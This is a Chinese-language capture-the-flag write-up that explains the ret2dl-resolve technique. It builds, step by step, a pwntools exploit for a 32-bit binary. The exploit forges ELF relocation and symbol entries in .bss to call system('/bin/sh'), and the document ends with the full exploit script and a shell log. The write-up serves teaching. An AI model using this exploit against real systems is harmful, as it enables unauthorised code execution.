- 图b中，我们已经知道 `_dl_runtime_resolve` 的第二个参数是 Elf_Rel 条目在 `.rel.plt` 段中的偏移，动态装载器将这个值加上 `.rel.plt` 的基址来得到目标结构体的绝对位置。然后当传递给 `_dl_runtime_resolve` 的参数 `reloc_index` 超出了 `.rel.plt` 段，并最终落在 `.bss` 段中时，攻击者可以在该位置伪造了一个 `Elf_Rel` 结构，并填写 `r_offset` 的值为一个可写的内存地址来将解析后的函数地址写在那里，同理 `r_info` 也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的 `Elf_Sym` 结构，而 `Elf_Sym` 结构中的 `st_name` 同样超出了 `.dynsym` 段。这样这个符号就会包含一个相对于 `.dynstr` 地址足够大的偏移使其能够达到这个符号之后的一段内存，而那段内存里保存着这个将要调用的函数的名称。
|
||
|
||
还记得我们前面说过的 GOT[1]，它是一个 link_map 类型的指针，其 `l_info` 域中有一个包含 `.dynmic` 段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link\_map 的一部分，就能够将 `l_info` 域中的 `DT_STRTAB` 条目指向一个特意制造的动态条目，那里则指向一个假的动态字符串表。
|
||
|
||
|
||
|
||
#### pwn200
|
||
获得了 re2dl-resolve 所需的所有知识，下面我们来分析题目。
|
||
|
||
首先触发栈溢出漏洞，偏移为 112：
|
||
```
|
||
gdb-peda$ pattern_offset 0x41384141
|
||
1094205761 found at offset: 112
|
||
```
|
||
|
||
根据理论知识及对二进制文件的分析，我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表，一个 write 函数用于验证每一步的正确性，最后将 write 换成 system，就能得到 shell 了。
|
||
```python
|
||
from pwn import *
|
||
|
||
# context.log_level = 'debug'
|
||
|
||
elf = ELF('./a.out')
|
||
io = remote('127.0.0.1', 10001)
|
||
io.recv()
|
||
|
||
pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret
|
||
pop_ebp_addr = 0x0804869b # pop ebp ; ret
|
||
leave_ret_addr = 0x080484b6 # leave ; ret
|
||
|
||
write_plt = elf.plt['write']
|
||
write_got = elf.got['write']
|
||
read_plt = elf.plt['read']
|
||
|
||
plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
|
||
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
|
||
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
|
||
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
|
||
bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
|
||
|
||
base_addr = bss_addr + 0x600 # 0x804a628
|
||
```
|
||
分别获取伪造各种表所需要的段地址，将 bss 段的地址加上 0x600 作为伪造数据的基地址，这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈， pop ebp 和 leave ret 配合，以达到将 esp 指向 base_addr 的目的（在章节3.3.4中有讲到）。
|
||
|
||
第一部分的 payload 如下所示，首先从标准输入读取 100 字节到 base_addr，将 esp 指向它，并跳转过去，执行 base\_addr 处的 payload：
|
||
```python
|
||
payload_1 = "A" * 112
|
||
payload_1 += p32(read_plt)
|
||
payload_1 += p32(pppr_addr)
|
||
payload_1 += p32(0)
|
||
payload_1 += p32(base_addr)
|
||
payload_1 += p32(100)
|
||
payload_1 += p32(pop_ebp_addr)
|
||
payload_1 += p32(base_addr)
|
||
payload_1 += p32(leave_ret_addr)
|
||
|
||
io.send(payload_1)
|
||
```
|
||
|
||
从这里开始，后面的 paylaod 都是通过 read 函数读入的，所以必须为 100 字节长。首先，调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 "/bin/sh"，以验证栈转移成功。注意由于 `.dynstr` 中的字符串都是以 "\x00" 结尾的，所以伪造字符串为 "bin/sh\x00"。
|
||
```python
|
||
payload_2 = "AAAA" # new ebp
|
||
payload_2 += p32(write_plt)
|
||
payload_2 += "AAAA"
|
||
payload_2 += p32(1)
|
||
payload_2 += p32(base_addr + 80)
|
||
payload_2 += p32(len("/bin/sh"))
|
||
payload_2 += "A" * (80 - len(payload_2))
|
||
payload_2 += "/bin/sh\x00"
|
||
payload_2 += "A" * (100 - len(payload_2))
|
||
|
||
io.sendline(payload_2)
|
||
print io.recv()
|
||
```
|
||
|
||
我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈，然后跳转到 PLT[0]：
|
||
```
|
||
gdb-peda$ disassemble write
|
||
Dump of assembler code for function write@plt:
|
||
0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c
|
||
0x08048436 <+6>: push 0x20
|
||
0x0804843b <+11>: jmp 0x80483e0
|
||
End of assembler dump.
|
||
```
|
||
这次我们跳过这个过程，直接控制 `eip` 跳转到 PLT[0]，并在栈上布置上 reloc_index，即 `0x20`，就像是调用了 write@plt 一样。
|
||
```python
|
||
reloc_index = 0x20
|
||
|
||
payload_3 = "AAAA"
|
||
payload_3 += p32(plt_0)
|
||
payload_3 += p32(reloc_index)
|
||
payload_3 += "AAAA"
|
||
payload_3 += p32(1)
|
||
payload_3 += p32(base_addr + 80)
|
||
payload_3 += p32(len("/bin/sh"))
|
||
payload_3 += "A" * (80 - len(payload_3))
|
||
payload_3 += "/bin/sh\x00"
|
||
payload_3 += "A" * (100 - len(payload_3))
|
||
|
||
io.sendline(payload_3)
|
||
print io.recv()
|
||
```
|
||
|
||
接下来，我们更进一步，伪造一个 write 函数的 Elf32_Rel 结构体，原结构体在 `.rel.plt` 中，如下所示：
|
||
```C
|
||
typedef struct
|
||
{
|
||
Elf32_Addr r_offset; /* Address */
|
||
Elf32_Word r_info; /* Relocation type and symbol index */
|
||
} Elf32_Rel;
|
||
```
|
||
```
|
||
$ readelf -r a.out | grep write
|
||
0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
|
||
```
|
||
该结构体的 `r_offset` 是 write@got 地址，即 `0x0804a01c`，`r_info` 是 `0x707`。动态装载器通过 reloc_index 找到它，而 reloc\_index 是相对于 `.rel.plt` 的偏移，所以我们如果控制了这个偏移，就可以跳转到伪造的 write 上。payload 如下：
|
||
```python
|
||
reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28
|
||
|
||
r_info = 0x707
|
||
fake_reloc = p32(write_got) + p32(r_info)
|
||
|
||
payload_4 = "AAAA"
|
||
payload_4 += p32(plt_0)
|
||
payload_4 += p32(reloc_index)
|
||
payload_4 += "AAAA"
|
||
payload_4 += p32(1)
|
||
payload_4 += p32(base_addr + 80)
|
||
payload_4 += p32(len("/bin/sh"))
|
||
payload_4 += fake_reloc
|
||
payload_4 += "A" * (80 - len(payload_4))
|
||
payload_4 += "/bin/sh\x00"
|
||
payload_4 += "A" * (100 - len(payload_4))
|
||
|
||
io.sendline(payload_4)
|
||
print io.recv()
|
||
```
|
||
另外讲一讲 Elf32_Rel 值的计算方法如下，我们下面会得用到：
|
||
```C
|
||
#define ELF32_R_SYM(val) ((val) >> 8)
|
||
#define ELF32_R_TYPE(val) ((val) & 0xff)
|
||
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
|
||
```
|
||
- `ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7`，即 `.dynsym` 的第 7 行
|
||
- `ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7`，即 `#define R_386_JMP_SLOT 7 /* Create PLT entry */`
|
||
- `ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707`，即 r_info
|
||
|
||
这一次，伪造位于 `.dynsym` 段的结构体 Elf32_Sym，原结构体如下：
|
||
```C
|
||
typedef struct
|
||
{
|
||
Elf32_Word st_name; /* Symbol name (string tbl index) */
|
||
Elf32_Addr st_value; /* Symbol value */
|
||
Elf32_Word st_size; /* Symbol size */
|
||
unsigned char st_info; /* Symbol type and binding */
|
||
unsigned char st_other; /* Symbol visibility */
|
||
Elf32_Section st_shndx; /* Section index */
|
||
} Elf32_Sym;
|
||
```
|
||
```
|
||
$ readelf -s a.out | grep write
|
||
7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
|
||
```
|
||
转储 `.dynsym` 段并找到第 7 行：
|
||
```
|
||
$ objdump -s -j .dynsym a.out
|
||
...
|
||
804823c 4c000000 00000000 00000000 12000000 L...............
|
||
...
|
||
```
|
||
其中最重要的是 `st_name` 和 `st_info`，分别为 `0x4c` 和 `0x12`。构造 payload 如下：
|
||
```python
|
||
reloc_index = base_addr + 28 - rel_plt
|
||
fake_sym_addr = base_addr + 36
|
||
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
|
||
fake_sym_addr = fake_sym_addr + align
|
||
|
||
r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym
|
||
r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry
|
||
r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff))
|
||
fake_reloc = p32(write_got) + p32(r_info)
|
||
|
||
st_name = 0x4c
|
||
st_info = 0x12
|
||
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
|
||
|
||
payload_5 = "AAAA"
|
||
payload_5 += p32(plt_0)
|
||
payload_5 += p32(reloc_index)
|
||
payload_5 += "AAAA"
|
||
payload_5 += p32(1)
|
||
payload_5 += p32(base_addr + 80)
|
||
payload_5 += p32(len("/bin/sh"))
|
||
payload_5 += fake_reloc
|
||
payload_5 += "A" * align
|
||
payload_5 += fake_sym
|
||
payload_5 += "A" * (80 - len(payload_5))
|
||
payload_5 += "/bin/sh\x00"
|
||
payload_5 += "A" * (100 - len(payload_5))
|
||
|
||
io.sendline(payload_5)
|
||
print io.recv()
|
||
```
|
||
一样地讲一下 st_info 的解析和插入算法：
|
||
```C
|
||
#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
|
||
#define ELF32_ST_TYPE(val) ((val) & 0xf)
|
||
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
|
||
```
|
||
- `ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1`，即 `#define STB_GLOBAL 1 /* Global symbol */`
|
||
- `ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2`，即 `#define STT_FUNC 2 /* Symbol is a code object */`
|
||
- `ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12`，即 st_info
|
||
|
||
下一步，是将 `st_name` 指向我们伪造的字符串 "write"，payload 如下：
|
||
```python
|
||
reloc_index = base_addr + 28 - rel_plt
|
||
fake_sym_addr = base_addr + 36
|
||
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
|
||
fake_sym_addr = fake_sym_addr + align
|
||
|
||
r_sym = (fake_sym_addr - dynsym) / 0x10
|
||
r_type = 0x7
|
||
r_info = (r_sym << 8) + (r_type & 0xff)
|
||
fake_reloc = p32(write_got) + p32(r_info)
|
||
|
||
st_name = fake_sym_addr + 0x10 - dynstr # address of string "write"
|
||
st_bind = 0x1 # STB_GLOBAL -> Global symbol
|
||
st_type = 0x2 # STT_FUNC -> Symbol is a code object
|
||
st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
|
||
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
|
||
|
||
payload_6 = "AAAA"
|
||
payload_6 += p32(plt_0)
|
||
payload_6 += p32(reloc_index)
|
||
payload_6 += "AAAA"
|
||
payload_6 += p32(1)
|
||
payload_6 += p32(base_addr + 80)
|
||
payload_6 += p32(len("/bin/sh"))
|
||
payload_6 += fake_reloc
|
||
payload_6 += "A" * align
|
||
payload_6 += fake_sym
|
||
payload_6 += "write\x00"
|
||
payload_6 += "A" * (80 - len(payload_6))
|
||
payload_6 += "/bin/sh\x00"
|
||
payload_6 += "A" * (100 - len(payload_6))
|
||
|
||
io.sendline(payload_6)
|
||
print io.recv()
|
||
```
|
||
|
||
最后，只要将 "write" 替换成任何我们希望的函数，并调整参数，就可以了，这里我们换成 "system"，拿到 shell：
|
||
```python
|
||
reloc_index = base_addr + 28 - rel_plt
|
||
fake_sym_addr = base_addr + 36
|
||
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
|
||
fake_sym_addr = fake_sym_addr + align
|
||
|
||
r_sym = (fake_sym_addr - dynsym) / 0x10
|
||
r_type = 0x7
|
||
r_info = (r_sym << 8) + (r_type & 0xff)
|
||
fake_reloc = p32(write_got) + p32(r_info)
|
||
|
||
st_name = fake_sym_addr + 0x10 - dynstr
|
||
st_bind = 0x1
|
||
st_type = 0x2
|
||
st_info = (st_bind << 4) + (st_type & 0xf)
|
||
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
|
||
|
||
payload_7 = "AAAA"
|
||
payload_7 += p32(plt_0)
|
||
payload_7 += p32(reloc_index)
|
||
payload_7 += "AAAA"
|
||
payload_7 += p32(base_addr + 80)
|
||
payload_7 += "AAAA"
|
||
payload_7 += "AAAA"
|
||
payload_7 += fake_reloc
|
||
payload_7 += "A" * align
|
||
payload_7 += fake_sym
|
||
payload_7 += "system\x00"
|
||
payload_7 += "A" * (80 - len(payload_7))
|
||
payload_7 += "/bin/sh\x00"
|
||
payload_7 += "A" * (100 - len(payload_7))
|
||
|
||
io.sendline(payload_7)
|
||
io.interactive()
|
||
```
|
||
|
||
Bingo!!!
|
||
```
|
||
$ python2 exp.py
|
||
[*] '/home/firmy/Desktop/a.out'
|
||
Arch: i386-32-little
|
||
RELRO: Partial RELRO
|
||
Stack: No canary found
|
||
NX: NX enabled
|
||
PIE: No PIE (0x8048000)
|
||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||
[*] Switching to interactive mode
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
这题是 32 位程序，在 64 位下会有一些变化，比如说：
|
||
- 64 位程序一般情况下使用寄存器传参，但给 `_dl_runtime_resolve` 传参时使用栈
|
||
- `_dl_runtime_resolve` 函数的第二个参数 `reloc_index` 由偏移变为了索引。
|
||
- `_dl_fixup` 函数中，在伪造 fake_sym 后，可能会造成崩溃，需要将 `link_map+0x1c8` 地址上的值置零
|
||
|
||
具体的以后遇到再说。
|
||
|
||
如果觉得手工构造太麻烦，有一个工具 [roputils](https://github.com/inaz2/roputils) 可以简化此过程，感兴趣的同学可以自行尝试。
|
||
|
||
|
||
## Exploit
|
||
完整的 exp 如下：
|
||
```python
|
||
from pwn import *
|
||
|
||
# context.log_level = 'debug'
|
||
|
||
elf = ELF('./a.out')
|
||
io = remote('127.0.0.1', 10001)
|
||
io.recv()
|
||
|
||
pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret
|
||
pop_ebp_addr = 0x0804869b # pop ebp ; ret
|
||
leave_ret_addr = 0x080484b6 # leave ; ret
|
||
|
||
write_plt = elf.plt['write']
|
||
write_got = elf.got['write']
|
||
read_plt = elf.plt['read']
|
||
|
||
plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
|
||
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
|
||
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
|
||
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
|
||
bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
|
||
|
||
base_addr = bss_addr + 0x600 # 0x804a628
|
||
|
||
payload_1 = "A" * 112
|
||
payload_1 += p32(read_plt)
|
||
payload_1 += p32(pppr_addr)
|
||
payload_1 += p32(0)
|
||
payload_1 += p32(base_addr)
|
||
payload_1 += p32(100)
|
||
payload_1 += p32(pop_ebp_addr)
|
||
payload_1 += p32(base_addr)
|
||
payload_1 += p32(leave_ret_addr)
|
||
io.send(payload_1)
|
||
|
||
# payload_2 = "AAAA" # new ebp
|
||
# payload_2 += p32(write_plt)
|
||
# payload_2 += "AAAA"
|
||
# payload_2 += p32(1)
|
||
# payload_2 += p32(base_addr + 80)
|
||
# payload_2 += p32(len("/bin/sh"))
|
||
# payload_2 += "A" * (80 - len(payload_2))
|
||
# payload_2 += "/bin/sh\x00"
|
||
# payload_2 += "A" * (100 - len(payload_2))
|
||
# io.sendline(payload_2)
|
||
# print io.recv()
|
||
|
||
# reloc_index = 0x20
|
||
# payload_3 = "AAAA"
|
||
# payload_3 += p32(plt_0)
|
||
# payload_3 += p32(reloc_index)
|
||
# payload_3 += "AAAA"
|
||
# payload_3 += p32(1)
|
||
# payload_3 += p32(base_addr + 80)
|
||
# payload_3 += p32(len("/bin/sh"))
|
||
# payload_3 += "A" * (80 - len(payload_3))
|
||
# payload_3 += "/bin/sh\x00"
|
||
# payload_3 += "A" * (100 - len(payload_3))
|
||
# io.sendline(payload_3)
|
||
# print io.recv()
|
||
|
||
# reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28
|
||
# r_info = 0x707
|
||
# fake_reloc = p32(write_got) + p32(r_info)
|
||
# payload_4 = "AAAA"
|
||
# payload_4 += p32(plt_0)
|
||
# payload_4 += p32(reloc_index)
|
||
# payload_4 += "AAAA"
|
||
# payload_4 += p32(1)
|
||
# payload_4 += p32(base_addr + 80)
|
||
# payload_4 += p32(len("/bin/sh"))
|
||
# payload_4 += fake_reloc
|
||
# payload_4 += "A" * (80 - len(payload_4))
|
||
# payload_4 += "/bin/sh\x00"
|
||
# payload_4 += "A" * (100 - len(payload_4))
|
||
# io.sendline(payload_4)
|
||
# print io.recv()
|
||
|
||
# reloc_index = base_addr + 28 - rel_plt
|
||
# fake_sym_addr = base_addr + 36
|
||
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
|
||
# fake_sym_addr = fake_sym_addr + align
|
||
# r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym
|
||
# r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry
|
||
# r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff))
|
||
# fake_reloc = p32(write_got) + p32(r_info)
|
||
# st_name = 0x4c
|
||
# st_info = 0x12
|
||
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
|
||
# payload_5 = "AAAA"
|
||
# payload_5 += p32(plt_0)
|
||
# payload_5 += p32(reloc_index)
|
||
# payload_5 += "AAAA"
|
||
# payload_5 += p32(1)
|
||
# payload_5 += p32(base_addr + 80)
|
||
# payload_5 += p32(len("/bin/sh"))
|
||
# payload_5 += fake_reloc
|
||
# payload_5 += "A" * align
|
||
# payload_5 += fake_sym
|
||
# payload_5 += "A" * (80 - len(payload_5))
|
||
# payload_5 += "/bin/sh\x00"
|
||
# payload_5 += "A" * (100 - len(payload_5))
|
||
# io.sendline(payload_5)
|
||
# print io.recv()
|
||
|
||
# reloc_index = base_addr + 28 - rel_plt
|
||
# fake_sym_addr = base_addr + 36
|
||
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
|
||
# fake_sym_addr = fake_sym_addr + align
|
||
# r_sym = (fake_sym_addr - dynsym) / 0x10
|
||
# r_type = 0x7
|
||
# r_info = (r_sym << 8) + (r_type & 0xff)
|
||
# fake_reloc = p32(write_got) + p32(r_info)
|
||
# st_name = fake_sym_addr + 0x10 - dynstr # address of string "write"
|
||
# st_bind = 0x1 # STB_GLOBAL -> Global symbol
|
||
# st_type = 0x2 # STT_FUNC -> Symbol is a code object
|
||
# st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
|
||
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
|
||
# payload_6 = "AAAA"
|
||
# payload_6 += p32(plt_0)
|
||
# payload_6 += p32(reloc_index)
|
||
# payload_6 += "AAAA"
|
||
# payload_6 += p32(1)
|
||
# payload_6 += p32(base_addr + 80)
|
||
# payload_6 += p32(len("/bin/sh"))
|
||
# payload_6 += fake_reloc
|
||
# payload_6 += "A" * align
|
||
# payload_6 += fake_sym
|
||
# payload_6 += "write\x00"
|
||
# payload_6 += "A" * (80 - len(payload_6))
|
||
# payload_6 += "/bin/sh\x00"
|
||
# payload_6 += "A" * (100 - len(payload_6))
|
||
# io.sendline(payload_6)
|
||
# print io.recv()
|
||
|
||
# reloc_index = base_addr + 28 - rel_plt
|
||
# fake_sym_addr = base_addr + 36
|
||
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
|
||
# fake_sym_addr = fake_sym_addr + align
|
||
# r_sym = (fake_sym_addr - dynsym) / 0x10
|
||
# r_info = (r_sym << 8) + 0x7
|
||
# fake_reloc = p32(write_got) + p32(r_info)
|
||
# st_name = fake_sym_addr + 0x10 - dynstr
|
||
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
|
||
# payload_7 = "AAAA"
|
||
# payload_7 += p32(plt_0)
|
||
# payload_7 += p32(reloc_index)
|
||
# payload_7 += "AAAA"
|
||
# payload_7 += p32(base_addr + 80)
|
||
# payload_7 += "AAAA"
|
||
# payload_7 += "AAAA"
|
||
# payload_7 += fake_reloc
|
||
# payload_7 += "A" * align
|
||
# payload_7 += fake_sym
|
||
# payload_7 += "system\x00"
|
||
# payload_7 += "A" * (80 - len(payload_7))
|
||
# payload_7 += "/bin/sh\x00"
|
||
# payload_7 += "A" * (100 - len(payload_7))
|
||
# io.sendline(payload_7)
|
||
|
||
reloc_index = base_addr + 28 - rel_plt
|
||
fake_sym_addr = base_addr + 36
|
||
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
|
||
fake_sym_addr = fake_sym_addr + align
|
||
r_sym = (fake_sym_addr - dynsym) / 0x10
|
||
r_type = 0x7
|
||
r_info = (r_sym << 8) + (r_type & 0xff)
|
||
fake_reloc = p32(write_got) + p32(r_info)
|
||
st_name = fake_sym_addr + 0x10 - dynstr
|
||
st_bind = 0x1
|
||
st_type = 0x2
|
||
st_info = (st_bind << 4) + (st_type & 0xf)
|
||
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
|
||
payload_7 = "AAAA"
|
||
payload_7 += p32(plt_0)
|
||
payload_7 += p32(reloc_index)
|
||
payload_7 += "AAAA"
|
||
payload_7 += p32(base_addr + 80)
|
||
payload_7 += "AAAA"
|
||
payload_7 += "AAAA"
|
||
payload_7 += fake_reloc
|
||
payload_7 += "A" * align
|
||
payload_7 += fake_sym
|
||
payload_7 += "system\x00"
|
||
payload_7 += "A" * (80 - len(payload_7))
|
||
payload_7 += "/bin/sh\x00"
|
||
payload_7 += "A" * (100 - len(payload_7))
|
||
io.sendline(payload_7)
|
||
io.interactive()
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- [How the ELF Ruined Christmas](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf)
|
||
- [Return-to-dl-resolve](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/)
|